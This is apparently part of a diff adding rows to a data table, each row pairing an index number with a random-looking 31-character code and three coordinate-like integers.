+11940,4VCG2WI2LLW1C945DU22BLOTAL6KG05=,187,4,3 +11941,PLSURCISZVRWI1PWDL0AYRMLI9LM4IP=,187,4,4 +11942,9123ZLYESM10XTTT7HRDU7DIPF6PQKL=,187,4,5 +11943,M6NWS3K6K06UPRELGL0Y2U2CAMD5MD1=,187,4,6 +11944,08X30W6JZ3UZCWA1XE8FMWY450VEWFF=,187,4,7 +11945,WD43IHEH42GFFLAJWKZJH6MIRV36IYV=,187,5,0 +11946,GLME7FE9Z0NYITV0PVBWYWOKGQD9SCU=,187,5,1 +11947,AG0599OFX1DV8DL9BSULWDEQL1F3SJ1=,187,5,2 +11948,OHLYG4MQD7L6EK6FWQT9RRI6KGMQ9OD=,187,5,3 +11949,05755A3YJLO41BG8B6UPTZ55ID2ML7R=,187,5,4 +11950,IRYGKRTPUZ92LXQTHD4ODTWHJ7UU3XH=,187,5,5 +11951,2JPV9UQOI3X7Z5PB1GPW9H0OIR77TZ8=,187,5,6 +11952,VTZAWYU4LWMPAZZEAILLVSYV3DN2UX9=,187,5,7 +11953,AQBJ2HQPNR1HS9VBVGBL9TD2MRIIT7R=,187,6,0 +11954,G76ZYXMZWYVQE7AQU2LSGDL7L3K6JJ3=,187,6,1 +11955,DJ8YICQQ843E4VOF70PYTV3V35I36J1=,187,6,2 +11956,HVODDX5NHVTSVZJAGP7VHA6TSW9BDFI=,187,6,3 +11957,V5TVD2KC9XP52S5029AOLAZHF4A1038=,187,6,4 +11958,25802FID41PGTNZ2AYJOETWPJEWVZSS=,187,6,5 +11959,LLHNLMW6BAL55BAJSUV96PDX81GDNEO=,187,6,6 +11960,EVL777351EUE6D8712OCLBKX7W1V4IF=,187,6,7 +11961,HZ984XTZM2A8C2C0LGV2E92CYA77AXM=,187,7,0 +11962,6NJICXVM4IMC19GZE6Q4J8CGZ805LP4=,187,7,1 +11963,6FPERK1ECG2OZR6RINAMD1S9I9PHUQ9=,187,7,2 +11964,Y6C5XAI9HUKOXTTYDO6NKMOAUR0UIDO=,187,7,3 +11965,W9SJKHN9BS8UIHGAHG7FMVZ6TQCQ3ZB=,187,7,4 +11966,B0TGW42BJWTMYTIT33B5IYXYB9H8X9A=,187,7,5 +11967,S62MRYV6LD21DS4A038EQBN4YKI5OPV=,187,7,6 +11968,0512D5TMHTN3JPXS72KI0F41DR8V8AZ=,187,7,7 +11969,6Z4QTDQ8GJTWQZB9FQUJW1JOWIC54E0=,188,0,0 +11970,QT3Z7YQWMN3QK8OQW0RN8A26EDZNLZR=,188,0,1 +11971,IQFTGSWCOMJJX1DZUE0BYS5M2LUHL9D=,188,0,2 +11972,1T1UFZ4KX28PTKPFK1OCSBQKPC3F0S1=,188,0,3 +11973,K2277NOLGFF02U0LOPIAT93J4KWQM93=,188,0,4 +11974,PGKCUPW08VGGKWVIF9MXBVNJC1K7ZUJ=,188,0,5 +11975,X7Q4ZWZM7OULXW5FAUIIZPRGP99K6FL=,188,0,6 +11976,DW57RBAIM9F9ROJB4XE93KFU0FY8ROB=,188,0,7 +11977,FKT6Z80GEPN8A87TAI2L2V5257W560J=,188,1,0 +11978,LYMNPPD0AC0J1JJJEAXGESYFLYP76BF=,188,1,1 +11979,M83EIYUIV71849PHI972NRKHOXFS9B3=,188,1,2 +11980,16DWQB6U4DZT00YHYZ1S8YVMH9LFSL9=,188,1,3 +11981,J1N4FPIL0XL8ZDNXVIRGFXBPTWJZDO5=,188,1,4 +11982,7EF2EQ87XC2WM2FWIPLAD88J67GDHIX=,188,1,5 +11983,K4W71A5W2F1W4V8VGG5BD7DA0WX8XBC=,188,1,6 +11984,BPISL387401DW1Y11EF2K8N5DIB9IYD=,188,1,7 +11985,5EVIPD49E8QDQDRXX8XFIKBFDKKA3DQ=,188,2,0 +11986,UK1X9TUH4MJ3TBCAP3I24FCSN9RGNOL=,188,2,1 +11987,68630WK54RN5Z2EN69HYDR73TU47DDB=,188,2,2 +11988,27F7GQPHH173N3S3YOY576GO4GVAWOH=,188,2,3 +11989,JE2O452HVGYPYURXWXUW7EWGQLTMT8Q=,188,2,4 +11990,WHVDIZ1YLMDS2K5TQQIYVL07OTMUG6U=,188,2,5 +11991,MX3HIG5PH6S3D624RRF7T5MQZF490DG=,188,2,6 +11992,SZYX9F8UO8RAO8ZFZWVKH46AFTSCH44=,188,2,7 +11993,MCL8P9V6COO78CNNXUD5HUAYZRZ2GL1=,188,3,0 +11994,6TYEPGX1W65BH5N38J6DYAEI69MW2BQ=,188,3,1 +11995,HT0QFKGSW4RDDXKRDH5IK9OTKM8FH99=,188,3,2 +11996,XF2DNY8XZXPXWGANGT7FJSJIHJY57NL=,188,3,3 +11997,0JYE76IYDQHZXH52WBK3STZUNRBDKLF=,188,3,4 +11998,JLIHG3EYNI63LMAD6SE8A79OFDFAJFM=,188,3,5 +11999,CHHH8FSZXNX1GQKOITB7YPVJ975S8KO=,188,3,6 +12000,KOAFOH2DUZSGLJED6766B60I2IRYRMX=,188,3,7 +12001,F96IX1ZYWVT2AS3YJUXXAJ9LFNHQ7YE=,188,4,0 +12002,H8IQOO4K02HPFOLWLEF2KRTGAERZ27H=,188,4,1 +12003,7ZZ8J4CWWSL10MQZA86D9PC5KVBINH5=,188,4,2 +12004,IZIA99ZE5O25X7CZ1547VJYRRS6RE6J=,188,4,3 +12005,CB9Q9DRDTKDXAKTRL5J3NPSFKWD47KP=,188,4,4 +12006,N6X78Z5U8EZ58P8MTB3L3CTCHPUSNBC=,188,4,5 +12007,WYKBEGPLBYIW7J68GE9ATIWZF3OCWIB=,188,4,6 +12008,LM8932SZ8D1V90UW6E59FLWADPPMGO5=,188,4,7 +12009,FDM8ZIFHOA4WLEBMK794RU65G26N5HL=,188,5,0 +12010,9YCYVUWNAXSZFHK1WA5FPJNVNRW0CND=,188,5,1 +12011,W5PL1W75X2RQX9WHUT2IXFBPBOHVCQW=,188,5,2 +12012,3L5G8VIOV9KKO4CHKAS3K0A66Q67LLS=,188,5,3 +12013,6XZ1VZQSDYHD026HOFCA4C9VBJQE68S=,188,5,4 +12014,Y8O8RFRWMBDIQ6HBX0NWZR74UQ4HN6N=,188,5,5 +12015,9Q1984Y4LS0Y1LV3KXZW8XHFFX5B6ZC=,188,5,6 +12016,VFBLEHQ7BR43PI4Y3MVGK42VK034NF4=,188,5,7 +12017,J4WBZGC8OCDAAA7VY6DCLUF1UKJK00K=,188,6,0 +12018,0K0BF4N6Z0RO228RYI3JUW67YF15YSB=,188,6,1 +12019,EREOH0WGRRV7WUE272I5EIETDQTEKHA=,188,6,2 +12020,WZ5N5TDG3SU0KMSBMAEP7VC0UT3CPZT=,188,6,3 +12021,57PCUYC77O6BIJ1DX5FPOY84PSO6KVJ=,188,6,4 +12022,0F7XS9P68PKGFE5EODHCCEF3N7U1C5P=,188,6,5 +12023,V3HAKHZ0GBVW8GBZONYHS0Z31LHMFVW=,188,6,6 +12024,AOQ93VB40YWPAFHGXCGHZ66IZEJ41BF=,188,6,7 +12025,FZKNHMUY4P7DTQW6FOLGR5F3W8WMFCZ=,188,7,0 +12026,0CJ33ID503E0N57E1X3RZAIB80C8QK8=,188,7,1 +12027,IY72RFS297PF3OGL5JYMSS74T9HCZ0V=,188,7,2 +12028,VHQVGBR0EGJB5BOZXODJ6P10Y2ERUMQ=,188,7,3 +12029,3SBM18C6L3DI3XDM5MSI1W9X6YQIDV8=,188,7,4 +12030,4968BPOHBKT714O1EAMG9AKMA50W11I=,188,7,5 +12031,3R9IY1ZAESGL99N04IAK0DNYM8L2HQE=,188,7,6 +12032,C41167OVEGL6BSSA7KJ6AZT4KLLDD05=,188,7,7 +12033,P0I1220BMAMSX4FV0BTEIASBOMTN2GK=,189,0,0 +12034,MJAY105H05A0HSY6AS1Z81415LK4P33=,189,0,1 +12035,2QQLZ5FNAP061V9BYS1DC5Z9NFCHRWJ=,189,0,2 +12036,FOSUTN6GGCCERY1XLLOSTF3FI8S6LOE=,189,0,3 +12037,XQ9HRMZO4A17OB1DVHYU0OLX68K0JBF=,189,0,4 +12038,JH1URTUW4P4POP5RV7811C070897IDI=,189,0,5 +12039,6C3X1KSOTG8EDVGXAGCH4EQ62WMEB3L=,189,0,6 +12040,O36NXUNNSF4F5DOCLG8QXT0OC9L2H28=,189,0,7 +12041,WWUQEFB13ZILLC5Z186MC9406EPF3N6=,189,1,0 +12042,JLKB4909L7C66XEIBCJQROVETSYF1VV=,189,1,1 +12043,QPWJ5SZHA8Z08FMPQ3H60URJMRHVOY0=,189,1,2 +12044,0YJHJYNW6U3CTPL6CUG2YD4A82224FV=,189,1,3 +12045,VHZWAOVF2J4I0UZVGV8E0S7EL74AMD5=,189,1,4 +12046,QDUQIF2M90MWIXZJ8S0K90HSUGI7KNP=,189,1,5 +12047,UO7VFJB0I2DSTBM8EXBY04EOARU0X8B=,189,1,6 +12048,FF7EQL1CB6GXGO5IZ9277IKODNUVCVZ=,189,1,7 +12049,ALTAAO1XXAWWWBU5CQF7KTM8X4IV2J8=,189,2,0 +12050,RUAHMWC1MM14E7K0YIE7I1U35CIPUWP=,189,2,1 +12051,35YTCQUP7LQL0UJRPMSRGEWE7HJBN14=,189,2,2 +12052,263G695SXQVFVY5XLZ38VPA8F0LMNK7=,189,2,3 +12053,ZPOG9V8CUGSA5BNAROEGHVO393T1B74=,189,2,4 +12054,8NFTRMG22SUEGCFC0LK2GFY42FNW6QQ=,189,2,5 +12055,1FHAJWKNTMX1KBYL5N3UT93A1ZKPF1K=,189,2,6 +12056,L5S6FJHITFTTIFN4BKAETUQXOGXGOO6=,189,2,7 +12057,JPDO2KYNU04QEU8GV2GZCQXIFTNRHW8=,189,3,0 +12058,2GIDRLK3E1Q7EJAG7WMBVQ8IDE1JKIN=,189,3,1 +12059,003O2G9FKB6RMJ01THLKJSFWL5V6LZG=,189,3,2 +12060,D9ZPMITC6LF2QL8RUQHCD5UF0NRUQGY=,189,3,3 +12061,FNIAY2BTE75DQIZO4POFSMP40MQK3EM=,189,3,4 +12062,6H7VJ9RYAQY0WEH7IVPBQJJR11II3RD=,189,3,5 +12063,1X9EN5H6RYGGJHWAZ2R92B227PQ5LBJ=,189,3,6 +12064,65H3D8VWTGXUTFR5U6JVXYK04QPOF9D=,189,3,7 +12065,TD29PL415H9AAM1ZLT9L79DJC9Z2PFD=,189,4,0 +12066,J3DG3HE9RZE3IVFJ8Y0APQNSUU9BNTO=,189,4,1 +12067,JFO0HAHNIGCE2XLMOEZ410FFMXY4PQR=,189,4,2 +12068,4F2N9GBAEXZVXFD0FG29PEUBN5KPDAW=,189,4,3 +12069,H471W26GSVIQ6PROFXNHNX67KGALOFI=,189,4,4 +12070,MKT0RG4KZCFW4S2LOQNWCVI1J4P4X5D=,189,4,5 +12071,R8DNTSE2YUJ4RDZQ1MV1G9484XN867C=,189,4,6 +12072,OIKNWI26KNS1JQJ5XW376TAKM35L10P=,189,4,7 +12073,E2UCNBN9HHSH27OLOAVC2Y8Q5BVPDSG=,189,5,0 +12074,92JVB9CK2C67ZNNXJR1ZFUVUUE7A5CD=,189,5,1 +12075,LHCME021KXWPUOAJ1S2UATZEU7Q257H=,189,5,2 +12076,HQCU2NMI1RGZ2U12XEVY4LR69CNBHWT=,189,5,3 +12077,EUJHH4F00EJ5Z23KNZM9FV5AHE0TXSQ=,189,5,4 +12078,3K7BIABLLKD3DB2XJUXY418L3PEEJGQ=,189,5,5 +12079,QAYKO5AV89TRPQG6VKDS0RCRAIPC4V7=,189,5,6 +12080,Q89FEOWQ4FN9GI3YX9E8WUHKDPBWCZD=,189,5,7 +12081,EA30ME54IDHAS500QNSQMRHRX35SHOZ=,189,6,0 +12082,FQ8DGVN26T3OT9Q9UIBP2HLW2QNR7KG=,189,6,1 +12083,DVFA9KWURXP4YBN163KB5ECK1IC92B6=,189,6,2 +12084,LVIR9W3Y3O38B5L47Q6NQP0R4M29D1J=,189,6,3 +12085,99A1BW41GVDAXSYYLJZSCI20F5HYJV5=,189,6,4 +12086,4E0BQ9DC326TTSW5O8YAKL9M98YJDMD=,189,6,5 +12087,915K9V7YDJGSAHL02L4ZPWF3F6LQSZS=,189,6,6 +12088,7NA5DT2RDUUPVY2USCTZZ3ENO3G89HC=,189,6,7 +12089,R2PQMYKK05M5KWWYZKTI19IUJ1GSTEX=,189,7,0 +12090,X1Y3V5UT91GBNUR6XRVX3EBAH8H9T0P=,189,7,1 +12091,26D3NS2UVPDCME9KYPOL573SVOU8R75=,189,7,2 +12092,K0L3U5SON31T64OQF45L9VSS13GM7A2=,189,7,3 +12093,T9FLTDOJN63XPO6JXK9FO1ML24SMS6D=,189,7,4 +12094,Q3NNJJWAWU0H0YQY9EPA76APANPXKOO=,189,7,5 +12095,G6XIMPH0KQ1RW0RJJK2UP5SPYTKLK8D=,189,7,6 +12096,PGYZVIOTRMRQW2RN6RVRIKAL7X2ODL7=,189,7,7 +12097,94OGNXHWML1M2IIGZOGUN2GZ4QVNZS6=,190,0,0 +12098,YDJS1FBAGM8032VDVNA0TO648HLGX2B=,190,0,1 +12099,V6EQ2HX0PW2N06RJ3MTFJ8W3VA1XSJI=,190,0,2 +12100,VDFKLHFUDFZC51A5PAP29YVK976P3TW=,190,0,3 +12101,1V5MBFW4B3TMDQB8FY9XS1VH4L2UIR7=,190,0,4 +12102,94FAYKUFD3V4C5SKBBRNEXXR2CA4U3G=,190,0,5 +12103,PW7WKR4GR3V9UCCPNL5ANR09CNPZ6N5=,190,0,6 +12104,MAA3JGXIEC239N7B9KLWABG9C8FF5QQ=,190,0,7 +12105,ER30BPWTJQNFXR1D8HBB8HJ6GLIXC12=,190,1,0 +12106,4AJV4WZ6MEW1ZLAM9D46ST9ZM6D12DB=,190,1,1 +12107,EY3QCIFZ50AITYGTXXL3Z4F3QAQU0PB=,190,1,2 +12108,853O72HOWXW76VV0H2JJ692VXY75V19=,190,1,3 +12109,Z8VKOP3DC8AGT1Q8CONHMPY41Q6UQIZ=,190,1,4 +12110,ME7IVQHO0DU9IQV06Z7NBDS8X2W5FYU=,190,1,5 +12111,8ZBH9HBILR0IJT4A9FEEDHI89GKE5HK=,190,1,6 +12112,UWMUYWYTKC6MUUVJVPMY6IUI1DOOIHE=,190,1,7 +12113,UXLO1UE1SW50OOHBROTZ29RI9AGMSH3=,190,2,0 +12114,FZV4LXR8IT7OHOR38YEICJBEP41EVAY=,190,2,1 +12115,E53OKTWL42V4YT14JLEIRMWJ4B4FVUD=,190,2,2 +12116,I3TI1SDEDF5FN230LZU1UNU8FSF7VPY=,190,2,3 +12117,6HJCSM1Q7P4MBWQPG00Y35CTMCEPMXC=,190,2,4 +12118,IJDYMHQTKP2XJCRR8DNH06YD5GX17K2=,190,2,5 +12119,PNG8PTEWTK5ZMZNCTRYDJ3KT78A2YLN=,190,2,6 +12120,A36DVTWG1GXT9OQCGRN5PZEP5JLRWD8=,190,2,7 +12121,MTKVZDWPO4S2I83UT9MTURDU1796A3R=,190,3,0 +12122,VIMGAUK4X8QGX7RTQI2VHLG0IZVXRTG=,190,3,1 +12123,0IJ0Z66SMDV7OZBZ27OIWUUT7VCQTF5=,190,3,2 +12124,3FV9GG82R2PDW4GAD1TPBJR6W53BJX1=,190,3,3 +12125,IMU7XFC020NNLQRAHV708VF8ZF3JRZP=,190,3,4 +12126,8X5UBO06NVHFX5CODPQHB7B77SWWXD5=,190,3,5 +12127,1DH06Y420FEJ34EMGYTDXXSRLPQP9X9=,190,3,6 +12128,5JTEKVJWQJ5HCCIROQJ34U2RF7365PS=,190,3,7 +12129,UI5C64IXCFLLB6438JOV96DB1QX7DBR=,190,4,0 +12130,G6JY3LUG59SUF9QTJ1WVT9OZ075XL6N=,190,4,1 +12131,ULJIPDG0MTVLSKVUGG0RDVLR23RJ4U0=,190,4,2 +12132,LK5SVI6VEX24COV49CRS8U02CZ2OTPY=,190,4,3 +12133,3L86WVHJI2ZQ6WYQV8X4K9ZEH6JYFLX=,190,4,4 +12134,TNNFWTFBZC3OMXQKUDEKOG2KHT34KEG=,190,4,5 +12135,NH4R1CPTCRKV32TRYN0EYKBIUKXGPUY=,190,4,6 +12136,7BBBGTDLDYEEQ5I0IXQ1MZSMHKJHB8Q=,190,4,7 +12137,XZNDBMEP822BPRD2FG15YJ667AYZS8A=,190,5,0 +12138,NN97FKXIBZAB721NCADVEEDD1HWG0OA=,190,5,1 +12139,MT3RQXDDEZNNEUE64581ZATYQ5BCSTJ=,190,5,2 +12140,K9YN5HJLC5N5EPC3W8BVTDB6FGT1UBO=,190,5,3 +12141,ED4HFG9N8VRNDV351457N3MLKUYY20X=,190,5,4 +12142,UA437368OHB6MBQ05SKO19XRN667HVF=,190,5,5 +12143,KDJ9ZUFQ83OKRKZFK056LFOKJ0UDPGQ=,190,5,6 +12144,9DSJDFE1KOK8ZN2ED50Q1HJJGNG16KE=,190,5,7 +12145,FDHB6JQTUAKYI2A2G5NA157L206DZLV=,190,6,0 +12146,AJ8WJK75YUTOMJPSOKDY7XB19JVR8KF=,190,6,1 +12147,0YJKX99A80RI7VGSA6YRSEPRSZG4BQW=,190,6,2 +12148,Z6DZASLRGB6KHV266KEY3CWLLXR1FXK=,190,6,3 +12149,7W6P0NJI2PN78H827P164J4QM7P632P=,190,6,4 +12150,72R23GV9G742BWYTAT1LZWXKQ91LUIV=,190,6,5 +12151,L4586PWIRUOBG32NH84CE6SY72DIZ09=,190,6,6 +12152,YA7W9K8TJUOC9SHIIJ2EF1KB76ASEVN=,190,6,7 +12153,Q3HILL7XLKSOUSHFBUR56PT9AJS17O4=,190,7,0 +12154,7HZWDLB7549GHT1G8O7GY8LBZ1Y3RVS=,190,7,1 +12155,D8S05NIBSSL0N86N1P7J4ZW99RYSI35=,190,7,2 +12156,YWRLDDN99717NNQ15QA251R3LX5U7HW=,190,7,3 +12157,N3CQ95GCN6INJJ7M1Q3NSMAO62RKCAZ=,190,7,4 +12158,HO0ANVRZAAPY8I08KGHFGQNK9DMZGUJ=,190,7,5 +12159,Z4UJN8BK64VA0RFXE3BQTSRK4ZO0EJ4=,190,7,6 +12160,6JNVR30SVQW5B6AFJIST1GD02BUUNTK=,190,7,7 +12161,9U360EZU59M8UAZY55RR5X5YWS61RJA=,191,0,0 +12162,D08R7Q3TBGNA8G1D4MYK5U732AG3G0K=,191,0,1 +12163,SQLUCSGCR71X7NIE1G24S6N61540X2F=,191,0,2 +12164,646Y21SLFMFL8VQYO63851X37YQJAM4=,191,0,3 +12165,AP09UU9QYF8DECK6YNKZXYPC1V60I8P=,191,0,4 +12166,JMNM8ZLEMM9VPKO10QD8T8C2RWXCF5V=,191,0,5 +12167,WP59BF002XFBHL1U61R3KQ10RC9UZ96=,191,0,6 +12168,8RCQFPOXIFANR48MS8BSL2HPEOIMPPI=,191,0,7 +12169,U8LSGT2U59FW6I8ANRMGHUBX2NWB4Z9=,191,1,0 +12170,5AMFVZAJEPSJHAYLX51J6QSQ1CDCP0I=,191,1,1 +12171,JCRD83ZQFCI3FD4TO8UYWHKF3DL4O4P=,191,1,2 +12172,BO00FI5296R7NU6O5GJDFIPO7J44ZX7=,191,1,3 +12173,NHU4F1C7NCKCGUY1HRFRPR4H096TEFF=,191,1,4 +12174,1807A7VKE4KIKRJIFMLV03ZN8MTJE1B=,191,1,5 +12175,3V1VH9DUYBM8TESXOYCKNROUSHFAVEK=,191,1,6 +12176,0JS9Y7T4KPSA5SGKKXD6LFWMVOT1DW4=,191,1,7 +12177,19YZIFQ03HX1NDWPA904VUNORFBVI02=,191,2,0 +12178,RRCTFRTKTD67NQIW6RYFH20HBMP2CJZ=,191,2,1 +12179,AGJW019ZJV1FOGCXOT1KOU2J1RSQJYQ=,191,2,2 +12180,99OF5I3JX7RXSWVL77C7AZUMVPLCDXA=,191,2,3 +12181,AF47MY1YXW9XNWMSSKPRFW8TAT8B1QA=,191,2,4 +12182,0DFP9QX3IFCLP6RAT5HL877LB77501H=,191,2,5 +12183,AD9UHIJO92VUL01JNPVADPAGROI6YZP=,191,2,6 +12184,T8C6ZVU5WX7LQ3XS7LWOEZ0921GX92Z=,191,2,7 +12185,N7DI4ERY01X6T05FZ3ISM1NZIJ8U825=,191,3,0 +12186,BA9QHX6CTPR0SONO68I58FW4LWUPNQZ=,191,3,1 +12187,X5NIXA3QILPY5VUGC104YZ6H9PMAMFJ=,191,3,2 +12188,U9N777O3LDC9T7WJV9OQF5O6PUIBI06=,191,3,3 +12189,XLSTY6U6QLV7RK52ELH13KKVY8GQOBG=,191,3,4 +12190,EIF66XUJLA72WZ4OUUDM6VZNQ1F6CSP=,191,3,5 +12191,SU5HFJSQEVRSLBO7DOYL7EDEFYWE3R9=,191,3,6 +12192,T7XH1Z5VEWF1V401H1Q9TV96IWP0884=,191,3,7 +12193,SP27N0OESPGS603SFS5R944H61TNM00=,191,4,0 +12194,O4MI1VT30U87939ZNJOPOOE0A6UCNA1=,191,4,1 +12195,O4PSIOZLCEBZIEVQST51PRLITCETUSE=,191,4,2 +12196,MSOKS0XYB29QJRY1KF7YWSIHPJ3PUO3=,191,4,3 +12197,4VIMVXBR5CQHAYU3RGOCJBG579RA3QH=,191,4,4 +12198,84UP2V5LGQVNQHEW1B6FIVF9T18EKTI=,191,4,5 +12199,E25TK04M77YO27XL17VHGUNANAFXDNL=,191,4,6 +12200,UXV0XMJW6VQXYL5OOQY8118OY4JIQ6M=,191,4,7 +12201,0PIWO9G7RA7LCVXMNTZ77I5ZFL24EHB=,191,5,0 +12202,R0JRI9BRIC9WFPJKSC59482E9X5XLJB=,191,5,1 +12203,IMA69WS5AZXMOM45KXBSZPUXYLT51MN=,191,5,2 +12204,OFIOVC5TOSLYIJZNR46ILVQW07C11BR=,191,5,3 +12205,OROTYTB6MTZSWMIND3W99J4VFXAZB3U=,191,5,4 +12206,YKT9ZYG9BLIMHIX84QYMJA7RU635QAT=,191,5,5 +12207,85IM4FSN4AKGG7PWOEL8KD66G09VYZA=,191,5,6 +12208,6YX6V6NZDFJ46TDORIO756MY0D3EVWK=,191,5,7 +12209,Y9FUPQZE13VF6BC3K01TXDDY2Q0IKBT=,191,6,0 +12210,SA21CHJ1LVSM0TLVSR6JE8AO775DRZ3=,191,6,1 +12211,W8XTKB087DES0HL4RGN303GX4ZZPPXF=,191,6,2 +12212,3GKKBWM3933U4MKBB74SW49BNOZB6RV=,191,6,3 +12213,RZW58ZVRF0HMRJB214QA7UQPUXXJ9VN=,191,6,4 +12214,Z4GEARBEXWI29RNSUEKT4S4OHCVGGR6=,191,6,5 +12215,HI5CF172Y4NV44U79GNV4HJKGGJK15F=,191,6,6 +12216,WMSINLY8EC00IXNMGT4LYF49XLPLTCY=,191,6,7 +12217,Y4CQ1BG2DSWZFQLMCYEUXR2B1W5R008=,191,7,0 +12218,Y1H86S20BZCAX2HHS8KP6SN2JYNGAHK=,191,7,1 +12219,VNEW0XSVZV1EBS4V7ZD86BRETK3XNVB=,191,7,2 +12220,SX9XC0Z2JUJMKRNUN4960MLPECLECUE=,191,7,3 +12221,ZMAZHAYV8R5PKPK9UKKBRSX7FBIB9YF=,191,7,4 +12222,RM0BVDPFXEZNYYQX1OLSIH1X2GMQC86=,191,7,5 +12223,NJLIG0D1YZY9O9RMO22SXC91I2WRPTE=,191,7,6 +12224,7GL8R8ISIV6VSHS19NCD2B1RN5B4ZF4=,191,7,7 +12225,LV6QE54F8V0MZDAEL9D4DTH3Y35L0YQ=,192,0,0 +12226,ER08QL0PF8I4SNB1QJCAMEWYWSOXC8W=,192,0,1 +12227,XV6HJGD2DMCMCSOVJITLJEVUJZK028C=,192,0,2 +12228,7E3GANETF6GNHE2TFHGQUM7SLIC5AHM=,192,0,3 +12229,J2V2N4OFBQK6P2PK4JJ9KX3XIJCWLG2=,192,0,4 +12230,7A45NG74LUVPXUBHYH8H2600KBYBRL9=,192,0,5 +12231,320NZKA0OFCIDXKAQEAGWQA0OWSNKGT=,192,0,6 +12232,5HJBQ0JUTRIG495Q9VN7TGBMRY3TCIA=,192,0,7 +12233,1G1UU90691GFXC9WRHQXD5DH3PN4MRC=,192,1,0 +12234,QN3YRIOGV9SLCTB836GMTAZPDM3NK2N=,192,1,1 +12235,NY4COD0QPLWRG06Z2GTHVZVCIR4BPDT=,192,1,2 +12236,WEXC4VDQC4JXP6YZZ4G3267K08PDZ93=,192,1,3 +12237,FMBKI84NTQNJ827S0W9I0U32Q5H9SE5=,192,1,4 +12238,UKKSE37C6WYL9QIXYR45LCA9ANYFT7U=,192,1,5 +12239,C7PKU99NMD6LF7SJ3BBNNFCDNZ292BN=,192,1,6 +12240,WL0DCGYPOC7JDVDEV78A50GKKPT3RWK=,192,1,7 +12241,GH47DFOGP6GZN4OPOQ5H6NVL1EH4NNM=,192,2,0 +12242,CF7EB1HTVWSOPCS19PPIY60IGI0WDTL=,192,2,1 +12243,SMX7KFXGRSXL2OX0T3UJC2ORIJTYC42=,192,2,2 +12244,6202NY6TZHEP2DM4MSIELSZTU3MBTNE=,192,2,3 +12245,09RX4M5YY3HA4V1H94II4ZNGK45MXYT=,192,2,4 +12246,9X5ZOPQUSYYUM4Z6LDQMOB1RCI6E2G6=,192,2,5 +12247,BF9Q8RJCKEJOBB8D9V3DTL4SKLG26XC=,192,2,6 +12248,ATV97ZTC46MUB69EFT9LR7WCHBYNLH0=,192,2,7 +12249,6MFYN87PYMOCVK48JN8OXRQ1D9030DO=,192,3,0 +12250,3NRBLQ44VCMHE5V6V4HXWPZG602YF9M=,192,3,1 +12251,P6JHXEX6028YG03IVFLUIBFHZ74Y3NL=,192,3,2 +12252,33H6XPL9KJKRURV6T23HJ5OK0X2YNCZ=,192,3,3 +12253,FWBTODM1ENA1J1NV6FNDDUDRJX6375R=,192,3,4 +12254,GXVV64KY34MRXKQY8KXO9K262M5Z1YC=,192,3,5 +12255,VP2ST219OYCGG9965RTFY5KLPIT17A3=,192,3,6 +12256,7O55L313ZT9VEX9CBQWS26FWKKPI2Q9=,192,3,7 +12257,U4Q2FYYEY7MM6G7PKYJG3WYOTMMGZ33=,192,4,0 +12258,K5HNNOEN2289V7YUIJ4S4L9EE5LCC4L=,192,4,1 +12259,2SBFLO9CSV3EH7L3RXRDGRFSX4YAKTT=,192,4,2 +12260,TY9Y608IV1VH6WEG8E2VMNUFHXVBXHW=,192,4,3 +12261,V9TD96BJ091NX0YSS6PB5WM7FZ1PE2B=,192,4,4 +12262,VYD9YH74YO73ETX3IXF0DHOBJTXW7A2=,192,4,5 +12263,C4K201EGUYRFVHUFDZLF9THPRQNWBTX=,192,4,6 +12264,IONCJY275NOYRK11ARCMFJD816H1RWT=,192,4,7 +12265,T7WOJ0VNJ365XKU21KP0DOPWZL7F208=,192,5,0 +12266,K1I68HZJ38TR97V9X8IGZY4XU2TT977=,192,5,1 +12267,VIU5HSPN568ISD7688W2AHVJW1GZ49Y=,192,5,2 +12268,Y9I903IM7RCG8OQ66P8IGJ7RWPFIIY8=,192,5,3 +12269,EW1V0DUBGZZ4AUUFV25M61JGI6TV9G1=,192,5,4 +12270,V0JBIDQYXQ3ZXCLAT9LCJYJPSHBUKZD=,192,5,5 +12271,GKSA9RHFCOA849S5JP31W2B09FDZ1US=,192,5,6 +12272,RWVL7VDPFV3UMKHD9661NQCZ6M8K6P5=,192,5,7 +12273,F97AEQ0MKNS03V91EG3KLHFW3W9CHQ5=,192,6,0 +12274,NJEJ09T3C36O01IT7MWO6KTEQD95RDB=,192,6,1 +12275,E8RB7LVRSX2PWG79PNE00B40GSVBOUA=,192,6,2 +12276,B4XJ7TRWHCHWH91NMZKW8C4RGP6QX49=,192,6,3 +12277,WLTR6X5U99W08G36HGRFMAUG4R5T7Z3=,192,6,4 +12278,ZM0X7S8ZNX2L36C6ZD2X4GQ7I0D3JIB=,192,6,5 +12279,PGYK47O93DZOUSXG1RD86PZG5DXSCUN=,192,6,6 +12280,9FTUA9PQ43E0KJREQIWY4B50SSAWOPJ=,192,6,7 +12281,0FDXXGUVGK14468YMZAY0E10N10ID70=,192,7,0 +12282,CTOB5TEDIYN1FE6ZECI2AFM29BE22IZ=,192,7,1 +12283,1G55YKVPFCN5UTCKSQ1OGJGDCFQEVQF=,192,7,2 +12284,26M5B7ZW2A77LF05L0LFR5K35VLH26O=,192,7,3 +12285,AF0E4HCFFXW93P4DUK3ZH43CXU7Z1IW=,192,7,4 +12286,GWVG13V92I2MOE8FYGXP49RBT4G6DC9=,192,7,5 +12287,X6A29EGBJUV0G0FVBPL6556KY11T73Q=,192,7,6 +12288,MZE04Y1KHC4WL2LERRRQBLIF0KPSLYT=,192,7,7 +12289,6BKHJEXPIUUEPW5B6HTRMPW49HN4Q1Y=,193,0,0 +12290,38JJ6D0H1THEANWXQUG3R1KW2GTMI9U=,193,0,1 +12291,DPYH6NO2VGD3X0RPDGTDR4UKPFKV12F=,193,0,2 +12292,K014WWYTKRA9U4UWATOQCHX3NLVWFKZ=,193,0,3 +12293,VKG98UD92YKUNOA2LJ7CFV7JHSWNKRJ=,193,0,4 +12294,6A9CYOCC55ABAVUB31YYGX8NSAM1ZXA=,193,0,5 +12295,J1UUD9FSW7LLSF5E2F247Y6WMCOHARV=,193,0,6 +12296,YOWS0NZ9XMTO0UGJSMJTOZZ8N4TRRN3=,193,0,7 +12297,X185DCS2HQZU9O6FZP5ETUQVQ19SVMV=,193,1,0 +12298,SVNV5ISFNVT1XCS3C8L3VSW89BA3R32=,193,1,1 +12299,G21X6X4EJ6EDXLYKL3Y720LZG55VY4Y=,193,1,2 +12300,UAKF2I7IA65N150YVGRFBOWOEJMUY9B=,193,1,3 +12301,KWYJ8U60A3EBDFSFA1RVYSOUC4S7P7S=,193,1,4 +12302,8BMALIZX0JDFG50IFLCZZHB03V0EB3R=,193,1,5 